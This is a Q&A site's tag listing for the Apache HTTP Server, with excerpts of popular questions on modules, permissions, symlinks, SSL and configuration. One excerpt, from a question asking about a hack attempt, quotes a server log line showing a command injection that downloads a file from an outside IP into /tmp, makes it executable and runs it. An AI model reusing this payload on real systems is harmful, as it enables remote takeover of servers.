Questions tagged [apache-http-server]

Apache is the widely known term for the Apache HTTP server, a very commonly used web server software maintained by the Apache Software Foundation. If your question is about other Apache software such as Tomcat or log4j, http://stackoverflow.com/ is a better choice.

Apache HTTP Server is one of the most widely used web server software programs used to host web site content. Use this tag for questions related to issues related directly to configuration, troubleshooting, error messages, etc. from the Apache HTTP web server.

3257 questions
411
votes
11 answers

How to check which apache modules are enabled/installed?

Which is the most elegant way to check which apache modules are enabled?
udo
  • 8,001
  • 7
  • 38
  • 47
243
votes
8 answers

How can I give write-access of a folder to all users in linux?

I installed apache2 on Ubuntu just now, and noticed that the /var/www folder is protected. I can just sudo everything but I would rather just give it write access. How can I do this? I tried sudo chmod 7777 /var/www but it didn't work.
Carson Myers
  • 3,061
  • 5
  • 23
  • 23
122
votes
4 answers

How do I get Apache to follow symlinks?

In my apache www folder (/var/www on ubuntu 10.10) I have: mydir -> /home/user/mydir (that I created with ln -s) Now, if I want to see a listing of the files in mydir from the web, I have to give apache the directive FollowSymLinks, right? But…
luca
  • 1,733
  • 2
  • 17
  • 23
70
votes
6 answers

How do I start apache in OSX Mountain Lion / Mavericks?

OSX Mountain Lion removed the GUI for web sharing, but apache is still installed. How do I start and stop the service? How do I get the service to automatically launch on startup?
slifty
  • 1,569
  • 1
  • 13
  • 18
65
votes
4 answers

How do web servers know whether you're using direct IP address access?

Some web servers, when accessed using their IP address, return an error that direct IP address access is not allowed. I've been wondering for some time how this works. I mean, doesn't the browser always resolve the IP address and connect to it?…
Joseph
  • 2,158
  • 3
  • 14
  • 24
58
votes
6 answers

Apache Bench test error on OS X: "apr_socket_recv: Connection reset by peer (54)"

I updated my MacBook Pro 13" to Lion a few weeks ago. I just found out that Apache Bench (apache2.2.19) is not working. It always shows this error, no matter what: apr_socket_recv: Connection reset by peer (54) I also did a clean install on my Mac…
ben
  • 681
  • 1
  • 5
  • 6
45
votes
6 answers

How do I stop services from starting on boot on Ubuntu?

I have lots of servers installed (Apache, MySQL, etc.), but I don't want them all to start at boot time (they drain power, and I'm on batteries most of the time). How do I configure this?
agentofuser
  • 7,247
  • 11
  • 38
  • 34
41
votes
5 answers

What is the recommended directory to store website content?

When I first started programming for the web and I wanted to create a new project I was always taught to create a directory in /var/www/. However in a lot of tutorials I read people tend to create a directory in /home/username/. I don't like the…
Pattle
  • 513
  • 1
  • 4
  • 6
39
votes
6 answers

What is Apache Synapse?

My website keeps getting hit by odd requests with the following user-agent string: Mozilla/4.0 (compatible; Synapse) Using our friendly tool Google I was able to determine this is the hallmark calling-card of our friendly neighborhood Apache…
Aren B
  • 864
  • 2
  • 8
  • 15
38
votes
7 answers

How can I determine if Apache is installed on a system?

I have Linux Mint on my computer but I don't know how to find out whether Apache2 is on it or where it is actually installed. I run my web browser (PHP installed) with http://localhost as a URL and it works.
Thach Xuyen
  • 573
  • 3
  • 7
  • 8
34
votes
1 answer

How to easily create a SSL certificate and configure it in Apache2 in Mac OS X?

I'd like to use my Mac OS X with https for local development tests. How can I easily make Apache2 respond to ssl, just for test proposes - I don't want a real certificate, just a fake to make local https work
Daniel Cukier
  • 3,880
  • 10
  • 38
  • 48
33
votes
3 answers

Why is the PHP version different in phpinfo() and CLI?

I realized that there is a miss matching between the PHP version reported by phpinfo() and php -v (in the CLI). phpinfo(): 5.5.24 php -v: 5.6.9 I am working on a Mac OS X 10.10 (Yosemite) and installed a library (php-version) to try to manage the…
33
votes
2 answers

What does this bash script do? [Hack Attempt]

I've been noticing on my servers apache logs, the following strange lines lately: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$…
ndom91
  • 443
  • 4
  • 8
30
votes
2 answers

Apache 2.4 on Windows responds slowly, hangs when serving some dynamic pages

(I know the answer to this question. Posting this just to share the answer with the community) My local (Windows 7) instance of Apache 2.4 experiences delays or hang-ups when serving some URLs, depending on which browser I use to access these…
29
votes
1 answer

How to create subdomains on a name-based virtualhost?

I have name-based hosting, lets call it my.address.com. My friend has the 'plain' address address.com and gave me a virtual machine that I can access via SSH. He also made some magic with ports and now, after installing Apache, I could access…
scythargon
  • 786
  • 2
  • 7
  • 16
1
2 3
99 100